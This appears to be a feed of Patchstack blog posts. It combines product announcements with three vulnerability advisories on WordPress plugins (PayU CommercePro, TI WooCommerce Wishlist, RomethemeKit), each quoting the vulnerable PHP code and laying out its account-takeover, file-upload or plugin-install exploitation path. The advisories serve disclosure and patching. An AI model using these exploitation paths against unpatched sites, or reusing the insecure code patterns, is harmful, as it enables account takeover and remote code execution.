Disclaimer: We tested the hosts as regular customers would use it. We didn't have access to change settings of the security products directly so we can't say if they would perform differently based on how they are set up in different environments. We did however ensure that these products were active in the hosting environment where the website was hosted.
With WordPress powering 40% of the web and 99% of security vulnerabilities stemming from plugins and themes, it’s the single most attractive target for cybercriminals. The speed and scale of modern attacks mean that traditional security is no longer enough.
Security solutions must not only detect and block generic threats but also proactively apply vulnerability-specific mitigation rules even before the site owner updates the software. The number of mitigation rules available also plays a significant role. With the most extensive collection of mitigation rules in the market, Patchstack provides the most robust protection.
You can't protect against what you don't know about. RapidMitigate, which is the system we've built to provide fast mitigation to vulnerabilities has by far the biggest vulnerability coverage in the WordPress ecosystem.
Without this specialized capability, hosting companies and site administrators remain exposed to the very class of attacks most frequently targeting WordPress sites today.
Don’t rely on generic defenses for WordPress. Patchstack is built to detect and block these threats in real-time, applying mitigation rules before attackers can exploit them.
Don’t rely on generic defenses for WordPress. Patchstack is built to detect and block these threats in real-time, applying mitigation rules before attackers can exploit them.
Talk to our team todayThe post Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses appeared first on Patchstack.
]]>The post RapidMitigate: Next-gen vulnerability mitigation for websites appeared first on Patchstack.
]]>For years, Patchstack has pushed the boundaries of virtual patching. Over the past two years we have relentlessly innovated to deliver the fastest, most accurate vulnerability-mitigation solution for websites.
Today we are proud to unveil powerful new capabilities that take our mitigation system well beyond traditional virtual patching. And with that, we are excited to introduce RapidMitigate.
RapidMitigate makes it possible to deploy fully programmatic rules, each containing multiple complex conditions. Written in a custom JSON format, these rules are consumed by the Patchstack agent’s application-level mitigation engine, which sanitizes vulnerable functions and eliminates threats without touching underlying code.

Unlike conventional virtual patching products, Patchstack RapidMitigate has deep, real-time visibility into the target application via software composition analysis (SCA). That insight lets us deploy or remove mitigation rules on demand.
Because rules are applied only where needed, we can maintain and automate over 10,000 vulnerability-specific rules - more than ten times the coverage any competitor offers. Traditional regex-based approaches must apply broad rules network-wide, creating performance drag and false positives; RapidMitigate avoids both.
Session-level visibility allows RapidMitigate to factor in authentication states and other prerequisites, activating a vPatch rule only when conditions for exploitation exist. In some cases, vulnerabilities involve base64 or double-encoded JSON payloads. Our engine can handle these scenarios by applying targeted mutations to request parameters as needed.
This precision has two major advantages:
Even in an extreme case of 100 active vulnerabilities, processing 100 rules adds just fractions of a millisecond.
RapidMitigate is a hybrid solution: depending on the vulnerability, mitigation can occur at the application layer or one layer earlier in Apache/Nginx. While 99% of WordPress issues are best handled inside the runtime, edge-case vulnerabilities that touch raw PHP files are stopped at the server level.
RapidMitigate ties directly into Patchstack Threat Intelligence. The moment our researchers disclose a new vulnerability; an appropriate rule is automatically deployed.
With more than 800 WordPress plugin developers relying on Patchstack to coordinate responsible disclosure, we deliver the fastest, most comprehensive vulnerability mitigation on the market.
RapidMitigate has been merged with virtual patching and is working without any action needed. It will be available on all Patchstack plans and in our web hosting offerings.
The post RapidMitigate: Next-gen vulnerability mitigation for websites appeared first on Patchstack.
]]>The post Patchstack managed VDP report forwarding appeared first on Patchstack.
]]>Setting up a vulnerability disclosure program (VDP) is going to be mandatory by the EU laws (CRA) starting from June 2026.
However, not every vendor has the in-house security expertise, and that’s where having a VDP managed by a security company comes with many benefits.
The goal of a VDP is to set a clear framework and an internal process on how external reporters must send vulnerability reports and how the software vendor then processes them. It’s an industry standard and a baseline for ethical disclosure that all security companies, ethical hackers, and security researchers should respect.
Ever since we launched the Patchstack mVDP for WordPress plugins in 2023, we have noticed that not all reporters follow the ethical disclosure principles. Some intentionally ignore the VDPs set up by the vendors and don’t go through the process the vendors have specifically set up for vulnerability reporting.
As the goal of the VDPs is to have a strict framework of how vulnerabilities are being reported and so all vulnerabilities go through the same process - external reporters who don’t respect the VDPs are not just unethical, but also create unnecessary confusion and can introduce potential security risks where mis-reported vulnerabilities fall out of an internal security policy and processes.
Until today, vendors have forwarded such reports to Patchstack manually, so we could assist them and add them to their Patchstack mVDP platform.
To make this process more streamlined, we’ve now launched a new report forwarding system where mis-reported security vulnerabilities can be automatically pulled into the Patchstack mVDP platform, by just forwarding the email report, screenshot or a PDF.
You will now find a “Forward reports” button on your mVDP dashboard with a dedicated forward email. All forwarded reports will be automatically standardized, validated by Patchstack, and then added under the vendor mVDP dashboard for status tracking and exploitation monitoring.

We’ve seen it all.
Beg bounty reporters (researchers who report very low impact security “issues” and ask beg for a bounty even if the company has no bounty program), straight up unethical researchers who drop vulnerabilities publicly before reporting it to vendors, and security companies who don’t follow the VDPs and aggressively enforce vendors to sign up to their product to access vulnerability details.
Here are a few tips on how to deal with cases like that:
1) If you’re unsure if a vulnerability report is valid, ask a trusted security expert to validate it before you reply to the reporter.
2) Have clear information on your website and software readme file on how all vulnerabilities should be reported to avoid situations where a researcher can claim there was nowhere to report.
3) If a reporter is not respecting your VDP and asking you to sign up for their services to see the vulnerability report, just ask for the report to be sent to a secure email, which you can then forward to your VDP system.
Top WordPress plugin companies such as Elementor, YITH, StellarWP, and many, many others have chosen Patchstack as their managed VDP provider.
Patchstack manages your VDP, helps coordinate vulnerability disclosure with a goal to minimize negative impact, and helps to secure your codebase with an AI code review tool and auditing.
All the important information can be found here: https://patchstack.com/for-plugins/
The post Patchstack managed VDP report forwarding appeared first on Patchstack.
]]>The post Account Takeover Vulnerability in PayU CommercePro Plugin appeared first on Patchstack.
]]>This blog post is about an unauthenticated account takeover vulnerability in the PayU CommercePro plugin. If you're a PayU CommercePro user, please update the plugin to at least version 3.8.8.
✌️ Our users are protected from this vulnerability. Are yours?
Identify vulnerabilities in your plugins and get recommendations for fixes.
Request auditProtect your users, improve server health and earn additional revenue.
Patchstack for hostsThe plugin PayU CommercePro, which has over 5,000 active installations, allows WooCommerce store owners to add PayU payment integration to their shops.

In the version below 3.8.8, the plugin is vulnerable to an account takeover vulnerability, which allows attackers to takeover any user of the WordPress site without authentication. The vulnerability has been finally patched in version 3.8.8 and is tracked with CVE-2025-31022.
The root of the issue lies in the update_cart_data function:
public function update_cart_data($user_id, $order)
{
global $table_prefix, $wpdb;
$user_session_table = $table_prefix . "woocommerce_sessions";
$shipping_data = array();
if ($order) {
include_once WP_PLUGIN_DIR . '/woocommerce/includes/wc-cart-functions.php';
include_once WP_PLUGIN_DIR . '/woocommerce/includes/wc-notice-functions.php';
include_once WP_PLUGIN_DIR . '/woocommerce/includes/wc-template-hooks.php';
WC()->session = new WC_Session_Handler();
WC()->session->init();
$session = WC()->session->get_session($user_id);
//TRIMMED
if (is_user_logged_in()) {
$current_user = wp_get_current_user();
$user_id = $current_user->ID;
wp_set_current_user($user_id);
wp_set_auth_cookie($user_id);
} elseif (!empty($user_id)) {
// Set session for already created/registered user
wp_set_current_user($user_id);
wp_set_auth_cookie($user_id);
}
//TRIMMED
}
return $shipping_data;
}
The function is taking the parameter $user_id and $order. After some processing, it checks if the user is logged-in, if not, it is setting the $user_id value as the user.
Tracing where the function update_cart_data() is called, we come across the function handleValidToken().
private function handleValidToken($parameters, $email, $txnid)
{
$parameters['address']['state'] = get_state_code_by_name($parameters['address']['state']);
if (!$parameters['address']['state']) {
return [
'status' => 'false',
'data' => [],
'message' => 'The State value is wrong'
];
}
$session_key = $parameters['udf4'];
$order_string = explode('_', $txnid);
$order_id = (int)$order_string[0];
$order = wc_get_order($order_id);
$shipping_address = $parameters['address'];
if (!$email) {
$guest_email = $session_key . '@mailinator.com';
$user_id = $this->payu_create_guest_user($guest_email);
if ($user_id) {
$this->payu_add_new_guest_user_cart_data($user_id, $session_key);
$shipping_data = $this->update_cart_data($user_id, $order);
require_once(ABSPATH . 'wp-admin/includes/user.php');
wp_delete_user($user_id);
}
} else {
if (email_exists($email)) {
$user = get_user_by('email', $email);
$user_id = $user->ID;
$this->payu_add_new_guest_user_cart_data($user_id, $session_key);
$this->update_order_shipping_address($order, $shipping_address, $email);
$shipping_data = $this->update_cart_data($user_id, $order);
}
//TRIMMED
}
//TRIMMED
}
The function update_cart_data is called on multiple occasions. However, the most interesting part is if (email_exists($email)) statement. It is checking if the provided email exists, and if it does, it's taking the user-input and passing it down to the vulnerable function.
Tracing the function handleValidToken() towards the source, we see it's called by payuShippingCostCallback which is a callback for the /payu/v1/get-shipping-cost API endpoint.
register_rest_route('payu/v1', '/get-shipping-cost', array(
'methods' => ['POST'],
'callback' => array($this, 'payuShippingCostCallback'),
'permission_callback' => '__return_true'
));
public function payuShippingCostCallback(WP_REST_Request $request)
{
$parameters = json_decode($request->get_body(), true);
error_log('shipping api call request ' . $request->get_body());
$email = sanitize_email($parameters['email']);
$txnid = sanitize_text_field($parameters['txnid']);
$auth = apache_request_headers();
$token = $auth['Auth-Token'];
try {
if ($token && $this->payu_validate_authentication_token(PAYU_USER_TOKEN_EMAIL, $token)) {
$response = $this->handleValidToken($parameters, $email, $txnid);
} else {
$response = [
'status' => 'false',
'data' => [],
'message' => 'Token is invalid'
];
return new WP_REST_Response($response, 401);
}
} catch (Throwable $e) {
$response = [
'status' => 'false',
'data' => [],
'message' => 'Fetch Shipping Method Failed (' . $e->getMessage() . ')'
];
return new WP_REST_Response($response, 500);
}
$response_code = $response['status'] == 'false' ? 400 : 200;
error_log('shipping api call response ' . json_encode($response));
return new WP_REST_Response($response, $response_code);
}
We finally have the source from where we can call the vulnerable function update_cart_data(). It is doing an authentication token check with the constant email PAYU_USER_TOKEN_EMAIL which is set in the plugin constants: define('PAYU_USER_TOKEN_EMAIL','[email protected]');
private function payu_validate_authentication_token($email, $token)
{
$user_id = get_user_by('email', $email)->ID;
// Get the stored token and expiration time from user meta
$stored_token = get_user_meta($user_id, 'payu_auth_token', true);
$expiration = get_user_meta($user_id, 'payu_auth_token_expiration', true);
// Check if the stored token matches the provided token and is not expired
return ($stored_token === $token && $expiration >= time()) ? true : false;
}
In order to exploit the issue, a valid auth token for the email [email protected] is needed. Exploring around the other REST API endpoints, we come across /payu/v1/generate-user-token
register_rest_route('payu/v1', '/generate-user-token', array(
'methods' => ['POST'],
'callback' => array($this, 'payu_generate_user_token_callback'),
'permission_callback' => '__return_true'
));
public function payu_generate_user_token_callback(WP_REST_Request $request)
{
// Get and sanitize the email from request
$email = sanitize_email($request->get_param('email'));
//TRIMMED
// Fetch plugin settings
$plugin_data = get_option('woocommerce_payubiz_settings');
$this->payu_salt = isset($plugin_data['currency1_payu_salt']) ? sanitize_text_field($plugin_data['currency1_payu_salt']) : null;
//TRIMMED
// Check if the user exists
if (email_exists($email)) {
$user = get_user_by('email', $email);
$user_id = $user->ID;
// Generate authentication token
$token = $this->payu_generate_authentication_token($user_id);
return new WP_REST_Response([
'status' => true,
'data' => ['token' => $token],
'message' => 'Token Generated',
]);
}
//TRIMMED
}
The endpoint is basically taking the email address as the user-input and returning the auth token for that email. It means we can easily grab the auth token for the hardcoded email address and send the /payu/v1/get-shipping-cost API request to hit the vulnerable sink update_cart_data() and takeover any account.
The vendor decided to remove the wp_set_auth_cookie function call from the function. The patch can be seen here:

It is necessary to ensure that the unauthenticated REST API endpoints are not overly permissive and provide more access to the users. Also, hardcoding sensitive or dynamic information such as email addresses to use it for other cases inside the codebase is not recommended.
Explore our Academy to master the art of finding and patching vulnerabilities within the WordPress ecosystem. Dive deep into detailed guides on various vulnerability types, from discovery tactics for researchers to robust fixes for developers. Join us and contribute to our growing knowledge base.
🤝 You can help us make the Internet a safer place
Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.
Get started for freeProtect your users too! Improve server health and earn added revenue with proactive security.
Patchstack for hostsReport vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.
Learn moreThe post Account Takeover Vulnerability in PayU CommercePro Plugin appeared first on Patchstack.
]]>The post NEW: Patchstack AI code review tool and Security Suite for plugin vendors appeared first on Patchstack.
]]>Today, we are super excited to launch the new version of the Patchstack mVDP platform, which now comes with an AI-based code review tool, team management features and a discussion board that helps plugin developers improve their code faster.
With more and more software being generated by AI, we are witnessing a significant increase in new vulnerabilities and an equal increase in AI-generated security reports, which makes managing the security of plugins more important than ever.
While our managed VDP remains free to all plugin developers, we are introducing a new Security Suite tier, priced at $75 a month. This includes $40 worth of AI tokens for code security reviews per month. Additional AI credits can be purchased if needed.
When working with hundreds of plugin developers and managing VDPs for more than 700 plugins, we’ve learned that in many cases, more than one developer needs to access the same reports. To make sharing information and access less painful and more secure, the Security Suite plan comes with a team management feature with 5 seats included by default.
Another widely requested feature has been the ability to use Patchstack as a secure channel whenever there is a need to communicate directly with the vulnerability reporter. For that, the Security Suite tier includes a discussion board where you can directly chat with the researcher who reported an issue.
The new Security Suite tier combines the best of both worlds. Your plugins will receive boosted visibility (100% AXP bonus) in the Patchstack Alliance ethical hackers community, which encourages security researchers to report significantly more bugs and help plugins fix more vulnerabilities faster.
Additionally, our AI code review tool can scan through your entire codebase to find WordPress-specific security issues and highlight potential improvements. We are currently launching this in beta, but we’ll have much many releases to share in the coming months.

Also, all Security Suite users will get patch recommendations from our internal security research team, regardless of whether the vulnerability was reported by a human or discovered with the AI scanner.
This means that not only will you speed up your vulnerability management process, but you’ll also be able to release fixes faster.
As you may know already, the Patchstack mVDP platform was built with the support of the European Union. At the end of 2024, the European Union passed the Cyber Resilience Act (CRA), which will hold software vendors accountable for the security of their products.
This will also affect many WordPress plugins (all commercial plugins, or plugins maintained by a legal entity). Patchstack helps WordPress plugins become CRA-compliant by setting up a secure VDP, coordinating vulnerability disclosures, and reporting vulnerabilities to the European vulnerability database (managed by ENISA).
Cyber Resilience Act penalties are almost identical to those of GDPR. The deadline for first compliance is already in 2026. You can read more about CRA requirements and compliance here.
The post NEW: Patchstack AI code review tool and Security Suite for plugin vendors appeared first on Patchstack.
]]>The post Unpatched Critical Vulnerability in TI WooCommerce Wishlist Plugin appeared first on Patchstack.
]]>This blog post is about an unauthenticated arbitrary file upload in the TI WooCommerce Wishlist plugin. If you're a TI WooCommerce Wishlist user, please update the plugin to at least version 2.10.0 (Update: 5th June 2025).
✌️ Our users are protected from this vulnerability. Are yours?
Identify vulnerabilities in your plugins and get recommendations for fixes.
Request auditProtect your users, improve server health and earn additional revenue.
Patchstack for hostsThe plugin TI WooCommerce Wishlist, which has over 100,000 active installations, allows WooCommerce store owners to add wishlist functionality to their shops. The plugin can also integrate with other WooCommerce extensions such as WC Fields Factory to enable custom fields and enhanced forms.

In version 2.9.2 and below, the plugin is vulnerable to an arbitrary file upload vulnerability, which allows attackers to upload malicious files to the server without authentication. The vulnerability is now patched in version 2.10.0 and is tracked with CVE-2025-47577.
The root of the issue lies in the tinvwl_upload_file_wc_fields_factory function:
function tinvwl_upload_file_wc_fields_factory( $file ) {
if ( ! function_exists( 'wp_handle_upload' ) ) {
require_once( ABSPATH . 'wp-admin/includes/file.php' );
}
$upload = wp_handle_upload(
$file,
[
'test_form' => false,
'test_type' => false,
]
);
return $upload;
}
This function utilizes WordPress’s wp_handle_upload, which normally performs file type validation. However, by explicitly setting 'test_type' => false, this validation is bypassed, allowing any file type (including executable PHP files) to be uploaded. Using an empty string ('') for 'test_type' would also bypass validation, although we have not observed any real-world usage of that variant in this case.
The vulnerable function is accessible via tinvwl_meta_wc_fields_factory or tinvwl_cart_meta_wc_fields_factory, which are only available when the WC Fields Factory plugin is active.
A typical attack involves uploading a malicious PHP file, allowing the attacker to then trigger remote code execution (RCE) by directly accessing the uploaded file.
Note that the vulnerability is only exploitable if the WC Fields Factory plugin is activated and the integration is enabled on the TI WooCommerce Wishlist plugin.
The vendor decided to remove the test_type parameter from the wp_handle_upload() process (Update: 5th June 2025). The patch can be seen here.

To address the vulnerability, plugin developers should immediately remove or avoid setting 'test_type' => false when using wp_handle_upload().
This ensures that only safe file types (such as images or documents) are accepted during the upload process, preserving WordPress’s default security behavior.
Explore our Academy to master the art of finding and patching vulnerabilities within the WordPress ecosystem. Dive deep into detailed guides on various vulnerability types, from discovery tactics for researchers to robust fixes for developers. Join us and contribute to our growing knowledge base.
🤝 You can help us make the Internet a safer place
Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.
Get started for freeProtect your users too! Improve server health and earn added revenue with proactive security.
Patchstack for hostsReport vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.
Learn moreThe post Unpatched Critical Vulnerability in TI WooCommerce Wishlist Plugin appeared first on Patchstack.
]]>The post Critical RomethemeKit For Elementor Plugin Vulnerability Patched appeared first on Patchstack.
]]>
Arbitrary Plugin Installation/Activation to RCE
This blog post is about the RomethemeKit For Elementor plugin vulnerability. If you're a RomethemeKit For Elementor user, please update the plugin to at least version 1.5.5.
✌️ Our users are protected from this vulnerability. Are yours?
Identify vulnerabilities in your plugins and get recommendations for fixes.
Request auditProtect your users, improve server health and earn additional revenue.
Patchstack for hostsThe plugin RomethemeKit For Elementor, which has over 30k active installations, is one of the most popular free Elementor related plugins in the WordPress repository. The plugin is developed by Rometheme.

This WordPress plugin acts as a toolkit for Elementor website builders, offering a collection of professionally designed templates, sections, widgets, and an icon pack. It streamlines the website creation process by providing pre-made layouts and design elements, reducing the need for extensive design skills and coding.
The RomethemeKit For Elementor plugin suffered from an authenticated Arbitrary Plugin Installation/Activation to RCE vulnerability. The vulnerability occurred due to a lack of permission and nonce check when installing and activating a plugin. Due to the behavior of the plugin installation and activation, this vulnerability could lead to Remote Code Execution if a malicious plugin is installed or activated. The vulnerability is fixed in version 1.5.5 and has been tracked with CVE-2025-30911.
The underlying vulnerability exists in the install_requirements function:
public function install_requirements()
{
include_once ABSPATH . 'wp-admin/includes/plugin.php';
include_once ABSPATH . 'wp-admin/includes/file.php';
include_once ABSPATH . 'wp-admin/includes/misc.php';
include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
$plugin = $_POST['plugin'];
$plugin_file = WP_PLUGIN_DIR . '/' . $plugin;
$plugin_slug = dirname($plugin);
if (file_exists($plugin_file)) {
// Activate the plugin if already installed but inactive
ob_start();
activate_plugin($plugin);
ob_clean();
ob_end_clean();
wp_send_json_success("Install and Activate Successfully");
} else {
ob_start();
$plugin_download_url = "https://downloads.wordpress.org/plugin/{$plugin_slug}.latest-stable.zip"; // Adjust URL structure
$upgrader = new \Plugin_Upgrader();
$result = $upgrader->install($plugin_download_url);
if (is_wp_error($result)) {
wp_send_json_error();
}
$activate_result = activate_plugin($plugin);
if (is_wp_error($activate_result)) {
wp_send_json_error('Plugin installed but failed to activate: ' . $activate_result->get_error_message());
}
wp_send_json_success('Plugin installed and activated successfully.');
}
}
The function above can be called from the wp_ajax_install_requirements hook. Since there is no proper permission and nonce check on the function, any authenticated users such as Subscriber role users are able to arbitrarily install and activate any plugin on the site, resulting to a possible Remote Code Execution (RCE).
The vendor initially made an attempt to patch the issue by adding an additional permission check on version 1.5.4. The vendor then implemented a full patch on version 1.5.5 by adding an additional nonce check. The patch can be seen below:

For a critical process such as installing and activating a plugin, make sure to implement a proper permission and nonce check.
Explore our Academy to master the art of finding and patching vulnerabilities within the WordPress ecosystem. Dive deep into detailed guides on various vulnerability types, from discovery tactics for researchers to robust fixes for developers. Join us and contribute to our growing knowledge base.
🤝 You can help us make the Internet a safer place
Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.
Get started for freeProtect your users too! Improve server health and earn added revenue with proactive security.
Patchstack for hostsReport vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.
Learn moreThe post Critical RomethemeKit For Elementor Plugin Vulnerability Patched appeared first on Patchstack.
]]>